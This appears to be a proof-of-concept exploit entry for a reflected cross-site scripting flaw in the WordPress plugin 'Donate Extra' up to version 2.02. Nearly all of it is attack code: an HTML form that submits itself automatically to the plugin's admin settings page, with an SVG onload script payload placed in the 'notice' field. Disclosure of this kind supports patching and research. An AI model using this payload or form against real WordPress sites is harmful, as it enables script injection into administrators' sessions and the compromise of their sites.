Donate Extra <= 2.02 - Reflected Cross-Site Scripting

<form action="http://localhost/wp-admin/admin.php?page=donateextraSettings" method="post" name="form1">
   <input type="text" name="notice" value='<svg/onload=alert(/xss/)>'>
   <button type="submit"></button>
</form>
<script>
   document.form1.submit();
</script>